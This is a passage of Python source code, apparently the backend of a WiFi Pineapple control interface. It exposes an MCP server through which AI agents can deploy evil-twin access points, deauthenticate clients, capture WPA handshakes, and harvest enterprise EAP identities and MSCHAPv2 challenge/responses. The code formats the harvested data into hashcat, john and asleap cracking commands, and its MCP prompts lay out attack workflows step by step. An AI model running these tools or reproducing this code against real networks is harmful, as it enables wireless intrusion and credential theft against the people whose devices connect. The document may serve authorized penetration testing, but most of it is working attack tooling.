rc, out, err = _pineap('RECON', 'ISEARCH', ssid, 'format=json', timeout=20)
if rc == 0:
try:
aps = json.loads(out.split('\n', 1)[-1] or out)
if isinstance(aps, list):
result['aps'] = aps
elif isinstance(aps, dict) and isinstance(aps.get('aps'), list):
result['aps'] = aps['aps']
except ValueError:
pass
rc, out, err = _pineap('RECON', 'DEVICES', 'limit=60', 'format=json', timeout=20)
if rc == 0:
try:
devs = json.loads(out.split('\n', 1)[-1] or out)
if isinstance(devs, list):
result['clients'] = devs
elif isinstance(devs, dict) and isinstance(devs.get('devices'), list):
result['clients'] = devs['devices']
except ValueError:
pass
return 200, result
# --------------------------------------------------------------------------
# Local Harness: MCP (Model Context Protocol) Streamable-HTTP server.
# Lets any agent (opencode, Claude, Cursor, pi.dev, ...) discover and drive
# the Pineapple's features with tools, resources and prompts.
# --------------------------------------------------------------------------
MCP_PROTOCOL = '2025-06-18'
RECON_URI = 'file:/root/recon/recon.db?mode=ro'
def _sql_table(table, limit=50, where=''):
clause = ('WHERE ' + where) if where else ''
rc, out, err = device_run(
['sqlite3', '-json', RECON_URI,
'SELECT * FROM %s %s ORDER BY time DESC LIMIT %d' % (table, clause, int(limit))],
timeout=25)
if rc != 0:
return []
try:
return json.loads(out or '[]')
except ValueError:
return []
def _mcp_auth(ctx):
if check_auth(ctx.h.headers.get('Cookie', '') or ''):
return True
auth = ctx.h.headers.get('Authorization', '') or ''
if auth.startswith('Bearer '):
token = auth[7:].strip()
try:
with open(SESSION_FILE) as f:
session = json.load(f)
return session.get('token') == token
except (OSError, ValueError):
return False
return False
def _mcp_tool(name, description, schema, fn):
return {'name': name, 'description': description,
'inputSchema': {'type': 'object', 'properties': schema}, 'fn': fn}
def _mcp_tools():
def deploy(args):
kind = (args.get('kind') or '').strip().lower()
if kind not in ('wpa', 'open', 'enterprise'):
return {'error': 'kind must be wpa, open or enterprise'}
try:
if kind == 'enterprise':
result = _deploy_enterprise(args)
else:
result = _deploy_wpa_open(kind, args)
except ValueError as exc:
return {'error': str(exc)}
except RuntimeError as exc:
return {'error': str(exc)}
update_pineap_state(mode='advanced', enabled=True, karma=True, collect=True)
result['ok'] = True
return result
def stop(args):
status, payload = h_attacks_stop(_Ctx_args(args))
return payload if status == 200 else {'error': payload.get('error', 'stop failed')}
def status(args):
_, payload = h_attacks_status(None)
return payload
def deauth(args):
status, payload = h_attacks_deauth(_Ctx_args(args))
return payload if status == 200 else {'error': payload.get('error', 'deauth failed')}
def capture(args):
status, payload = h_attacks_capture(_Ctx_args(args))
return payload if status == 200 else {'error': payload.get('error', 'capture failed')}
def export_hc(args):
status, payload = h_attacks_export_hc22000(None)
return payload if status == 200 else {'error': payload.get('error', 'export failed')}
def handshakes(args):
_, payload = h_handshakes_get(None)
return payload
def enterprise_creds(args):
return _enterprise_radius_payload()
def recon_aps(args):
return {'aps': _sql_table('ssid', args.get('limit', 50))}
def recon_isearch(args):
ssid = (args.get('ssid') or '').strip()
if not ssid:
return {'error': 'ssid required'}
return {'aps': _sql_table('ssid', 50, "CAST(ssid AS TEXT) LIKE '%%%s%%'" %
ssid.replace("'", "''"))}
def recon_devices(args):
return {'devices': _sql_table('wifi_device', args.get('limit', 50))}
def kick(args):
mac = normalize_mac(args.get('mac'))
if not mac:
return {'error': 'mac required'}
# This firmware's hak5cmd has no CLIENT_KICK command; mirror the web
# UI's kick: deny-filter the client (deauths every probe/connect) then
# deauth it once with the full (bssid, target, channel) form. The
# client must be associated first so a failed kick has no side effects.
if not _deauth_target(mac):
return {'ok': False, 'detail': 'client not associated', 'mac': mac}
ok = True
detail = ''
for argv in ([HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_MODE', 'deny'],
[HAK5CMD, 'PINEAPPLE_DEVICE_FILTER_ADD', 'deny', mac]):
rc, out, err = device_run(argv, timeout=20)
if rc != 0:
ok = False
detail = (err or out)[-300:]
break
if ok:
ok, detail = _deauth_client_via_iface(mac)
return {'ok': ok, 'detail': detail, 'mac': mac}
def set_filter(args):
kind = (args.get('kind') or 'ssid').strip()
if kind not in ('ssid', 'client'):
return {'error': 'kind must be ssid or client'}
action = (args.get('action') or '').strip()
payload = {'action': action}
if action in ('set_mode', 'add'):
payload['mode'] = (args.get('mode') or 'deny').strip()
if action == 'add':
payload['value'] = (args.get('value') or '').strip()
if not payload['value']:
return {'error': 'value required'}
elif action == 'delete':
payload['mode'] = (args.get('mode') or 'deny').strip()
payload['value'] = (args.get('value') or '').strip()
if not payload['value']:
return {'error': 'value required'}
elif action not in ('clear', 'allow_all'):
return {'error': 'action must be set_mode, add, delete, clear or allow_all'}
status, resp = h_filter_post(_Ctx_args(payload), kind)
return resp if status == 200 else {'error': resp.get('error', 'filter failed')}
def state(args):
_, mode = h_pineap_mode_get(None)
_, aps = h_pineap_wifi_get_ap(None)
_, health = h_health(None)
_, atk = h_attacks_status(None)
return {'mode': mode, 'aps': aps, 'health': health, 'attacks': atk,
'hop': _read_hop()}
return [
_mcp_tool('device.state', 'Full truth snapshot: PineAP mode, AP configs, health, attacks, hop state.',
{'detail': {'type': 'string'}}, state),
_mcp_tool('attack.deploy', 'Deploy an attack: kind=wpa|open|enterprise with ssid, passphrase (wpa), enctype, channel (band), hidden, bssid/country (open). Stops conflicting attacks, enables karma + handshake capture, verifies on device.',
{'kind': {'type': 'string', 'enum': ['wpa', 'open', 'enterprise']},
'ssid': {'type': 'string'},
'passphrase': {'type': 'string'},
'enctype': {'type': 'string', 'enum': ['psk2', 'sae', 'owe', 'wpa2', 'wpa3']},
'channel': {'type': 'number'},
'hidden': {'type': 'boolean'},
'bssid': {'type': 'string'},
'country': {'type': 'string'}}, deploy),
_mcp_tool('attack.stop', 'Stop an attack by kind (wpa|open|enterprise); disables APs and resumes hopping.',
{'kind': {'type': 'string', 'enum': ['wpa', 'open', 'enterprise']}}, stop),
_mcp_tool('attack.status', 'Live attack status: APs per band, live flag, handshake + enterprise credential counts.',
{}, status),
_mcp_tool('attack.deauth', 'Send deauth frames against an AP/client. Band-aware inject (wlan0mon for 2.4, wlan1mon for 5/6). Only against authorized targets.',
{'bssid': {'type': 'string'}, 'client': {'type': 'string'},
'channel': {'type': 'number'}}, deauth),
_mcp_tool('attack.capture', 'Start/stop/status a monitor pcap capture (iface wlan0mon|wlan1mon, action start|stop|status).',
{'iface': {'type': 'string', 'enum': ['wlan0mon', 'wlan1mon']},
'action': {'type': 'string', 'enum': ['start', 'stop', 'status']}}, capture),
_mcp_tool('attack.export_hc22000', 'Convert captured pcaps to a hashcat-ready .hc22000 file and return the hashcat command.',
{}, export_hc),
_mcp_tool('loot.handshakes', 'List captured WPA handshakes (files + parsed entries).',
{}, handshakes),
_mcp_tool('loot.enterprise_creds', 'PineAPE captured EAP/RADIUS-equivalent credentials: identities, MSCHAPv2 challenge/response, hashcat -m 5500 and john netntlm lines.',
{}, enterprise_creds),
_mcp_tool('recon.aps', 'Recent recon APs from the recon database.', {'limit': {'type': 'number'}}, recon_aps),
_mcp_tool('recon.isearch', 'Find APs matching an SSID in the recon database.', {'ssid': {'type': 'string'}}, recon_isearch),
_mcp_tool('recon.devices', 'Recent observed client devices from recon.', {'limit': {'type': 'number'}}, recon_devices),
_mcp_tool('pineap.kick_client', 'Disconnect a client from a PineAP/evil-twin AP.', {'mac': {'type': 'string'}}, kick),
_mcp_tool('pineap.set_filter', 'Set the SSID/client filter: action=set_mode (mode=deny|allow), add (mode, value), delete (mode, value), clear, or allow_all. Returns the current mode and entries.',
{'kind': {'type': 'string', 'enum': ['ssid', 'client']},
'action': {'type': 'string', 'enum': ['set_mode', 'add', 'delete', 'clear', 'allow_all']},
'mode': {'type': 'string', 'enum': ['allow', 'deny']},
'value': {'type': 'string'}}, set_filter),
]
def _Ctx_args(body):
return type('C', (), {'body': body, 'args': (), 'query': {}})()
def _mcp_resource_list():
res = [
{'uri': 'device://state', 'name': 'Device state snapshot', 'mimeType': 'application/json'},
{'uri': 'recon://aps', 'name': 'Recon access points', 'mimeType': 'application/json'},
{'uri': 'recon://devices', 'name': 'Recon client devices', 'mimeType': 'application/json'},
{'uri': 'recon://handshakes', 'name': 'Captured handshakes', 'mimeType': 'application/json'},
{'uri': 'recon://enterprise/basic', 'name': 'Enterprise EAP identities', 'mimeType': 'application/json'},
{'uri': 'recon://enterprise/challenge', 'name': 'Enterprise MSCHAPv2 challenge/response', 'mimeType': 'application/json'},
{'uri': 'recon://enterprise/radius', 'name': 'Unified EAP/RADIUS captures (hashcat + john)', 'mimeType': 'application/json'},
]
for name in ('pineapple-control', 'wifi-deauth', 'aircrack-suite'):
res.append({'uri': 'skills://%s' % name, 'name': 'Skill: %s' % name,
'mimeType': 'text/markdown'})
return res
def _mcp_resource_read(uri):
if uri == 'device://state':
_, mode = h_pineap_mode_get(None)
_, aps = h_pineap_wifi_get_ap(None)
_, health = h_health(None)
_, atk = h_attacks_status(None)
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
'text': json.dumps({'mode': mode, 'aps': aps,
'health': health, 'attacks': atk})}]}
if uri == 'recon://aps':
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
'text': json.dumps(_sql_table('ssid', 50))}]}
if uri == 'recon://devices':
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
'text': json.dumps(_sql_table('wifi_device', 50))}]}
if uri == 'recon://handshakes':
_, payload = h_handshakes_get(None)
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
'text': json.dumps(payload)}]}
if uri == 'recon://enterprise/basic':
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
'text': json.dumps(_enterprise_basic_rows(), default=_json_default)}]}
if uri == 'recon://enterprise/challenge':
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
'text': json.dumps(_enterprise_chalresp_rows(), default=_json_default)}]}
if uri == 'recon://enterprise/radius':
return {'contents': [{'uri': uri, 'mimeType': 'application/json',
'text': json.dumps(_enterprise_radius_payload(), default=_json_default)}]}
if uri.startswith('skills://'):
name = uri[len('skills://'):]
path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'skills', '%s.md' % name)
if os.path.isfile(path):
with open(path, 'r') as f:
text = f.read()
return {'contents': [{'uri': uri, 'mimeType': 'text/markdown', 'text': text}]}
return None
return None
def _mcp_prompt_list():
return [
{'name': 'evil-wpa-attack', 'description': 'Deploy an Evil WPA (PSK) twin of a target SSID, capture a four-way handshake, and export it for hashcat.'},
{'name': 'evil-enterprise-attack', 'description': 'Serve a WPA2-Enterprise twin with PineAPE credential harvesting.'},
{'name': 'recon-survey', 'description': 'Survey the environment from the recon database.'},
]
def _mcp_prompt_get(name):
if name == 'evil-wpa-attack':
return {'description': 'Evil WPA (PSK) attack workflow',
'messages': [{'role': 'user', 'content': {'type': 'text',
'text': 'Plan: 1) recon.isearch for the target SSID to confirm it is authorized. 2) attack.deploy kind=wpa with the target ssid (passphrase is your choice; enctype psk2; 2.4GHz channels 1-11 or 5GHz 36-165). 3) attack.status until live. 4) Optionally attack.capture on the matching monitor to record raw frames, and attack.deauth against the target\'s clients. 5) Once a handshake appears in loot.handshakes, attack.export_hc22000 and run the returned hashcat command locally.'}}]}
if name == 'evil-enterprise-attack':
return {'description': 'Evil Enterprise (PineAPE) attack workflow',
'messages': [{'role': 'user', 'content': {'type': 'text',
'text': 'Plan: 1) recon.isearch the target SSID (authorized only). 2) attack.deploy kind=enterprise ssid= enctype=wpa2 channel=36. 3) attack.status until live. 4) Monitor loot.enterprise_creds (or recon://enterprise/radius) for EAP identities and MSCHAPv2 challenge/response — the RADIUS inner-auth equivalent captured by PineAPE. Export hashcat -m 5500 / john --format=netntlm lines and crack offline. 5) attack.stop when done.'}}]}
if name == 'recon-survey':
return {'description': 'Recon survey',
'messages': [{'role': 'user', 'content': {'type': 'text',
'text': 'Plan: 1) device.state for the truth snapshot. 2) recon.aps to list recent networks. 3) recon.devices for observed clients. 4) Summarize: networks, bands, encryption, signal, and any target SSID the operator asked about.'}}]}
return None
def _mcp_dispatch(msg):
"""Handle one JSON-RPC MCP message. Returns (status, body)."""
if not isinstance(msg, dict) or msg.get('jsonrpc') != '2.0':
return 400, {'jsonrpc': '2.0', 'error': {'code': -32600, 'message': 'invalid JSON-RPC'}}
mid = msg.get('id')
method = msg.get('method') or ''
params = msg.get('params') or {}
if not method:
return 400, {'jsonrpc': '2.0', 'id': mid, 'error': {'code': -32600, 'message': 'method required'}}
def respond(result):
if mid is None:
return 202, None
return 200, {'jsonrpc': '2.0', 'id': mid, 'result': result}
def respond_error(code, message):
if mid is None:
return 202, None
return 200, {'jsonrpc': '2.0', 'id': mid, 'error': {'code': code, 'message': message}}
if method == 'initialize':
version = (params or {}).get('protocolVersion') or '2025-03-26'
return 200, {'jsonrpc': '2.0', 'id': mid, 'result': {
'protocolVersion': MCP_PROTOCOL,
'capabilities': {
'tools': {'listChanged': False},
'resources': {'listChanged': False, 'subscribe': False},
'prompts': {'listChanged': False},
},
'serverInfo': {'name': 'mark-viii', 'version': '1.3.2'}}}
if method == 'notifications/initialized':
return 202, None
if method == 'ping':
return respond({})
if method == 'tools/list':
return respond({'tools': [{'name': t['name'], 'description': t['description'],
'inputSchema': t['inputSchema']} for t in _mcp_tools()]})
if method == 'tools/call':
name = (params or {}).get('name') or ''
args = (params or {}).get('arguments') or {}
for t in _mcp_tools():
if t['name'] == name:
try:
result = t['fn'](args)
except Exception as exc:
return respond_error(-32603, 'tool error: %s' % exc)
if isinstance(result, dict) and 'error' in result:
return respond_error(-32602, result['error'])
return respond({'content': [{'type': 'text', 'text': json.dumps(result, indent=2, default=_json_default)}]})
return respond_error(-32602, 'unknown tool: %s' % name)
if method == 'resources/list':
return respond({'resources': _mcp_resource_list()})
if method == 'resources/read':
uri = (params or {}).get('uri') or ''
content = _mcp_resource_read(uri)
if content is None:
return respond_error(-32602, 'unknown resource: %s' % uri)
return respond(content)
if method == 'prompts/list':
return respond({'prompts': _mcp_prompt_list()})
if method == 'prompts/get':
name = (params or {}).get('name') or ''
content = _mcp_prompt_get(name)
if content is None:
return respond_error(-32602, 'unknown prompt: %s' % name)
return respond(content)
return respond_error(-32601, 'method not found: %s' % method)
def h_mcp(ctx):
if not _mcp_auth(ctx):
return 401, {'jsonrpc': '2.0', 'error': {'code': -32001, 'message': 'unauthorized'}}
body = ctx.body
if body is None:
return 400, {'jsonrpc': '2.0', 'error': {'code': -32700, 'message': 'parse error'}}
return _mcp_dispatch(body)
def h_harness_capabilities(ctx):
tools = [{'name': t['name'], 'description': t['description'],
'inputSchema': t['inputSchema']} for t in _mcp_tools()]
return 200, {
'endpoint': '/mcp',
'protocol': MCP_PROTOCOL,
'transport': 'Streamable HTTP (POST application/json)',
'auth': 'session cookie (browser) or Authorization: Bearer ',
'tools': tools,
'resources': _mcp_resource_list(),
'prompts': _mcp_prompt_list(),
'skills': ['pineapple-control', 'wifi-deauth', 'aircrack-suite'],
}
def h_harness_token(ctx):
try:
with open(SESSION_FILE) as f:
session = json.load(f)
return 200, {'token': session.get('token', ''), 'serverid': session.get('serverid', '')}
except (OSError, ValueError):
return 200, {'token': '', 'serverid': ''}
def hak5(*args, timeout=30, check=True):
last = (1, '', 'hak5cmd failed')
attempts = max(1, HAK5_RETRIES + 1)
with _pineapd_cmd_lock:
for attempt in range(attempts):
rc, out, err = device_run([HAK5CMD] + list(args), timeout=timeout)
blended = '%s\n%s' % (out or '', err or '')
# hak5cmd sometimes exits 0 while printing ERROR: (5 GHz channel).
if rc == 0 and 'ERROR:' not in blended:
return out
last = (rc if rc else 1, out, err or blended)
if attempt + 1 < attempts and HAK5_RETRY_SLEEP:
time.sleep(HAK5_RETRY_SLEEP * (attempt + 1))
if check:
raise RuntimeError((last[2] or last[1] or 'hak5cmd failed').strip()[-300:])
return last[1]
def _json_or(text):
text = (text or '').strip()
if text.startswith('{') or text.startswith('['):
try:
return json.loads(text)
except ValueError:
return None
return None
def _parse_pool_list(text):
text = text or ''
obj = _json_or(text)
if isinstance(obj, dict) and 'ssids' in obj:
return [str(s) for s in obj['ssids']]
if isinstance(obj, list):
return [str(s) for s in obj]
out = []
for line in text.splitlines():
line = line.strip().strip('"')
low = line.lower()
if not line:
continue
if low in ('ssid', 'ssids') or low.startswith('ssid pool') or low.startswith('no '):
continue
out.append(line)
return out
def h_ssids_get(ctx):
try:
return 200, {'ssids': _parse_pool_list(hak5('PINEAPPLE_SSID_POOL_LIST'))}
except RuntimeError as exc:
return 502, {'error': 'ssid pool unavailable', 'detail': str(exc), 'ssids': []}
def h_ssids_post(ctx):
body = ctx.body or {}
action = body.get('action')
try:
if action == 'add':
ssid = (body.get('ssid') or '').strip()
if not ssid:
return 400, {'error': 'ssid required'}
hak5('PINEAPPLE_SSID_POOL_ADD', ssid)
elif action == 'remove':
hak5('PINEAPPLE_SSID_POOL_DELETE', (body.get('ssid') or '').strip())
elif action == 'clear':
hak5('PINEAPPLE_SSID_POOL_CLEAR')
else:
return 400, {'error': 'unknown action'}
return 200, {'ssids': _parse_pool_list(hak5('PINEAPPLE_SSID_POOL_LIST'))}
except RuntimeError as exc:
return 502, {'error': 'ssid pool update failed', 'detail': str(exc)}
FILTER_DAEMON = {
'client': ('macfilter/get_config', 'macfilter/set_mode', 'PINEAPPLE_DEVICE_FILTER'),
'ssid': ('ssidfilter/get_config', 'ssidfilter/set_config', 'PINEAPPLE_NETWORK_FILTER'),
}
def _parse_filter_mode(text):
text = (text or '').strip().lower()
obj = _json_or(text)
if isinstance(obj, dict):
mode = str(obj.get('mode') or '').lower()
if mode in ('allow', 'deny'):
return mode
if re.search(r'\ballow\b', text):
return 'allow'
if re.search(r'\bdeny\b', text):
return 'deny'
return None
def _parse_filter_list(text):
obj = _json_or(text)
if isinstance(obj, dict):
for key in ('ssids', 'macs', 'entries', 'list', 'denied', 'allowed'):
if isinstance(obj.get(key), list):
return [str(item) for item in obj[key]]
if isinstance(obj, list):
return [str(item) for item in obj]
return _parse_pool_list(text or '')
def _first_present(data, keys):
for key in keys:
if key in data and data[key] is not None:
return data[key]
return []
def _filter_payload_from_daemon(kind, data):
mode = data.get('mode') or 'allow'
if kind == 'client':
keys = ('denied_macs', 'denied_macs') if mode == 'deny' else ('allowed_macs', 'allowed_macs')
else:
keys = ('denied_ssids', 'denied_ssids') if mode == 'deny' else ('allowed_ssids', 'allowed_ssids')
values = [str(e) for e in (_first_present(data, keys) or [])]
if kind == 'ssid':
decoded = []
for value in values:
try:
raw = base64.b64decode(value, validate=True)
decoded.append(raw.decode('utf-8'))
except (ValueError, TypeError):
decoded.append(value)
values = decoded
return {'mode': mode, 'entries': values, 'source': 'daemon'}
def _filter_from_hak5(kind):
prefix = FILTER_DAEMON[kind][2]
with _pineapd_cmd_lock:
rc, out, err = device_run([HAK5CMD, '%s_MODE' % prefix], timeout=5)
mode = _parse_filter_mode(out) or _parse_filter_mode(err)
entries = []
listed = False
for argv in ([HAK5CMD, '%s_LIST' % prefix, mode or 'deny'],
[HAK5CMD, '%s_LIST' % prefix]):
rc2, out2, err2 = device_run(argv, timeout=5)
if rc2 == 0:
listed = True
entries = _parse_filter_list(out2 or '')
break
if mode is None and not listed:
return None
return {'mode': mode or 'deny', 'entries': entries, 'source': 'hak5cmd'}
def load_pineap_state():
try:
with open(PINEAP_STATE_FILE) as f:
state = json.load(f)
return state if isinstance(state, dict) else {}
except Exception:
return {}
def save_pineap_state(state):
tmp = PINEAP_STATE_FILE + '.tmp'
with open(tmp, 'w') as f:
json.dump(state, f)
os.replace(tmp, PINEAP_STATE_FILE)
def update_pineap_state(mode=None, **flags):
state = load_pineap_state()
if mode is not None:
state['mode'] = mode
state.update(flags)
save_pineap_state(state)
return state
def h_pineap_mode_get(ctx):
state = load_pineap_state()
stored = state.get('mode')
_, config = daemon_sock_call('GET', '/api/pineap/get_config')
_, hostapd = daemon_sock_call('GET', '/api/pineap/hostapd/get_config')
collect = config.get('autossidpool') if isinstance(config, dict) else None
enabled = None
if isinstance(hostapd, dict) and 'pineap_disabled' in hostapd:
enabled = not bool(hostapd['pineap_disabled'])
# The mode is DERIVED from the live device state, never invented.
if enabled is not None and collect is not None:
live = 'passive' if enabled is False else ('active' if collect else 'advanced')
if stored == 'advanced':
mode = 'advanced'
elif stored == live:
mode = stored
else:
mode = live
state = update_pineap_state(mode=live, enabled=enabled, collect=collect,
karma=bool(enabled))
elif stored in ('passive', 'active', 'advanced'):
mode = stored
else:
mode = 'advanced'
result = dict(state)
result['mode'] = mode
if collect is not None:
result['collect'] = bool(collect)
if enabled is not None:
result['enabled'] = enabled
return 200, result
def h_pineap_mode_post(ctx):
mode = ((ctx.body or {}).get('mode') or '').strip().lower()
if mode not in ('passive', 'active', 'advanced'):
return 400, {'error': 'mode must be passive, active, or advanced'}
if mode == 'advanced':
return 200, update_pineap_state(mode='advanced')
enabled = mode == 'active'
steps = [
(('enable' if enabled else 'disable') + ' PineAP response engine',
'PUT', 'hostapd/enable_pineap', {'enable': enabled}),
('enable SSID collection', 'POST', 'ssidpool/enable_collect', {'enable': True}),
]
# NOTE: the SSID-pool broadcast step is intentionally omitted. The pool
# broadcast segfaults pineapd on this firmware (SIGSEGV crash-loop); the
# health monitor disables it and 'active' must not re-enable it.
for label, method, path, body in steps:
status, data = _daemon_proxy(method, path, body)
if status != 200:
return status, {'error': 'failed to ' + label, 'detail': data}
return 200, update_pineap_state(mode=mode, enabled=enabled, karma=enabled,
collect=True, advertise=False)
def h_filter_get(ctx, kind):
get_path, set_path, hak5_prefix = FILTER_DAEMON[kind]
status, data = daemon_sock_call('GET', '/api/pineap/%s' % get_path, timeout=4)
if status == 200 and isinstance(data, dict):
return 200, _filter_payload_from_daemon(kind, data)
fallback = _filter_from_hak5(kind)
if fallback:
return 200, fallback
return 200, {
'mode': 'deny',
'entries': [],
'source': 'unavailable',
'error': 'filter service did not answer',
}
def h_filter_post(ctx, kind):
body = ctx.body or {}
action = body.get('action')
_, _, prefix = FILTER_DAEMON[kind]
status, current = h_filter_get(ctx, kind)
if status != 200:
return status, current
mode = (body.get('mode') or current.get('mode') or '').strip()
if mode not in ('allow', 'deny'):
return 400, {'error': 'mode must be allow or deny'}
def run_filter(command, *args):
try:
hak5(command, *args)
except RuntimeError as exc:
return 502, {'error': 'filter command failed', 'detail': str(exc)}
return None
if action == 'set_mode':
failed = run_filter('%s_MODE' % prefix, mode)
elif action == 'add':
value = (body.get('value') or '').strip()
if not value:
return 400, {'error': 'value required'}
failed = run_filter('%s_ADD' % prefix, mode, value)
elif action == 'delete':
value = (body.get('value') or '').strip()
if not value:
return 400, {'error': 'value required'}
failed = run_filter('%s_DELETE' % prefix, mode, value)
elif action == 'clear':
failed = run_filter('%s_CLEAR' % prefix, mode)
elif action == 'allow_all':
# "deny" mode means allow by default. An empty deny list therefore
# allows every client/SSID without manufacturing wildcard entries.
failed = run_filter('%s_CLEAR' % prefix, 'deny')
if not failed:
failed = run_filter('%s_MODE' % prefix, 'deny')
else:
return 400, {'error': 'unknown action'}
if failed:
return failed
return h_filter_get(ctx, kind)
ENTERPRISE_TABLES = {'basic': 'hostap_basic', 'challenge': 'hostap_chalresp'}
RADIUS_CAPTURE_NOTE = (
'The Pager terminates EAP locally (PineAPE). 802.1X identities and the inner '
'MSCHAPv2 challenge/response — the credentials a RADIUS server would see — '
'are stored in recon.db. The device is not a UDP/1812 RADIUS proxy.'
)
def _blob_to_hex(value):
if value is None or value == '':
return ''
if isinstance(value, memoryview):
value = value.tobytes()
if isinstance(value, bytearray):
value = bytes(value)
if isinstance(value, bytes):
return value.hex()
text = str(value).strip()
if not text:
return ''
if text.startswith("X'") and text.endswith("'") and len(text) > 3:
return text[2:-1].lower()
if '\\x' in text:
raw = bytearray()
i = 0
n = len(text)
while i < n:
if (i + 3 < n and text[i] == '\\' and text[i + 1] == 'x'
and all(c in '0123456789abcdefABCDEF' for c in text[i + 2:i + 4])):
raw.append(int(text[i + 2:i + 4], 16))
i += 4
else:
raw.append(ord(text[i]) & 0xff)
i += 1
return bytes(raw).hex()
cleaned = text.replace(':', '').replace(' ', '')
if re.match(r'^[0-9A-Fa-f]+$', cleaned) and len(cleaned) % 2 == 0:
return cleaned.lower()
try:
return text.encode('latin-1').hex()
except Exception:
return text.encode('utf-8', 'replace').hex()
def _mschap_hashcat_5500(username, challenge_hex, response_hex):
user = (username or '').strip() or '*'
chal = (challenge_hex or '').lower()
resp = (response_hex or '').lower()
if not chal or not resp:
return ''
return '%s::::%s:%s' % (user, resp, chal)
def _mschap_john(username, challenge_hex, response_hex):
user = (username or '').strip() or '*'
chal = (challenge_hex or '').lower()
resp = (response_hex or '').lower()
if not chal or not resp:
return ''
return '%s:$NETNTLM$%s$%s' % (user, chal, resp)
def _format_basic_row(row):
row = dict(row or {})
for key, value in list(row.items()):
if isinstance(value, (bytes, bytearray, memoryview)):
row[key] = _blob_to_hex(value)
identity = row.get('identity') or row.get('username') or ''
row['identity'] = identity
if not row.get('username'):
row['username'] = identity
row['kind'] = 'eap-identity'
return row
def _format_chalresp_row(row):
row = dict(row or {})
chal = _blob_to_hex(row.get('challenge'))
resp = _blob_to_hex(row.get('response'))
user = row.get('username') or row.get('identity') or ''
row['username'] = user
row['challenge'] = chal
row['response'] = resp
row['hashcat'] = _mschap_hashcat_5500(user, chal, resp)
row['john'] = _mschap_john(user, chal, resp)
row['asleap'] = (
'asleap -C %s -R %s -W wordlist.txt' % (chal, resp) if chal and resp else '')
row['kind'] = 'mschapv2'
row['hashcat_mode'] = 5500
if isinstance(row.get('type'), (bytes, bytearray, memoryview)):
row['type'] = _blob_to_hex(row.get('type'))
return row
def _enterprise_basic_rows():
try:
rows = _db_rows(RECON_DB, 'SELECT * FROM hostap_basic ORDER BY time DESC')
except RuntimeError:
rows = []
return [_format_basic_row(r) for r in (rows or [])]
def _enterprise_chalresp_rows():
sql_hex = (
'SELECT id, scan, time, type, username, '
'lower(hex(challenge)) AS challenge, '
'lower(hex(response)) AS response, verified '
'FROM hostap_chalresp ORDER BY time DESC')
try:
rows = _db_rows(RECON_DB, sql_hex)
except RuntimeError:
try:
rows = _db_rows(RECON_DB, 'SELECT * FROM hostap_chalresp ORDER BY time DESC')
except RuntimeError:
rows = []
return [_format_chalresp_row(r) for r in (rows or [])]
def _enterprise_clients():
try:
rows = _db_rows(RECON_DB, 'SELECT * FROM hostap_client ORDER BY connected_time DESC')
except RuntimeError:
return []
out = []
for raw in rows or []:
item = dict(raw)
if 'ssid' in item:
item['ssid'] = decode_ssid(item.get('ssid'))
if item.get('mac'):
item['mac'] = fmt_mac(item.get('mac'))
out.append(item)
return out
def _enterprise_radius_payload():
basic = _enterprise_basic_rows()
chal = _enterprise_chalresp_rows()
log_items = _harvest_ent_log()
captures = []
for row in basic:
captures.append({
'kind': 'eap-identity',
'time': row.get('time'),
'username': row.get('identity') or row.get('username') or '',
'password': row.get('password') or '',
'type': row.get('type') or '',
'verified': row.get('verified'),
'source': 'recon.db',
})
for row in chal:
captures.append({
'kind': 'mschapv2',
'time': row.get('time'),
'username': row.get('username') or '',
'challenge': row.get('challenge') or '',
'response': row.get('response') or '',
'hashcat': row.get('hashcat') or '',
'john': row.get('john') or '',
'asleap': row.get('asleap') or '',
'type': row.get('type') or '',
'verified': row.get('verified'),
'source': 'recon.db',
})
for item in log_items:
kind = item.get('kind') or ''
captures.append({
'kind': kind,
'time': item.get('time'),
'username': item.get('username') or '',
'password': item.get('password') or '',
'challenge': item.get('challenge') or '',
'response': item.get('response') or '',
'hashcat': item.get('hashcat') or '',
'john': item.get('john') or '',
'source': item.get('source') or 'log',
})
captures.sort(key=lambda item: item.get('time') or 0, reverse=True)
uniq_hc = _unique_keep_order(
[row.get('hashcat') for row in chal] + [item.get('hashcat') for item in log_items])
uniq_j = _unique_keep_order(
[row.get('john') for row in chal] + [item.get('john') for item in log_items])
db_clients = _enterprise_clients()
live = []
seen_mac = set()
ssid = (_ent_state_loaded() or {}).get('ssid') or ''
stations = _ent_stations()
for mac in stations:
seen_mac.add(mac)
live.append({'mac': mac, 'ssid': ssid, 'source': 'hostapd',
'connected_time': None, 'disconnected_time': None})
for row in db_clients:
mac = (row.get('mac') or '').upper()
if mac in seen_mac:
continue
seen_mac.add(mac)
live.append(row)
return {
'note': RADIUS_CAPTURE_NOTE,
'identities': basic,
'mschapv2': chal,
'captures': captures,
'clients': live,
'stations': stations,
'log_captures': log_items,
'hashcat': {
'mode': 5500,
'lines': uniq_hc,
'command': 'hashcat -m 5500 hashes.5500 wordlist.txt',
},
'john': {
'lines': uniq_j,
'command': 'john --format=netntlm hashes.john',
},
}
def h_enterprise_data(ctx):
key = (ctx.args or [''])[0]
table = ENTERPRISE_TABLES.get(key)
if not table:
return 400, {'error': 'unknown table'}
if key == 'challenge':
rows = _enterprise_chalresp_rows()
else:
rows = _enterprise_basic_rows()
return 200, {'table': table, 'rows': rows}
def h_enterprise_radius(ctx):
return 200, _enterprise_radius_payload()
def h_enterprise_export(ctx):
kind = (ctx.args or ['hashcat'])[0]
payload = _enterprise_radius_payload()
stamp = int(time.time())
if kind == 'hashcat':
text = '\n'.join(payload['hashcat']['lines'])
if text:
text += '\n'
return 200, Download(text.encode('utf-8'), 'text/plain',
'pineape-mschapv2-%d.5500' % stamp)
if kind == 'john':
text = '\n'.join(payload['john']['lines'])
if text:
text += '\n'
return 200, Download(text.encode('utf-8'), 'text/plain',
'pineape-mschapv2-%d.john' % stamp)
if kind == 'json':
body = json.dumps(payload, indent=2, default=_json_default).encode('utf-8')
return 200, Download(body, 'application/json',
'pineape-radius-%d.json' % stamp)
return 400, {'error': 'unknown export'}
def h_enterprise_clear(ctx):
key = ((ctx.body or {}).get('table') or '').strip()
if key == 'all':
names = ['hostap_basic', 'hostap_chalresp']
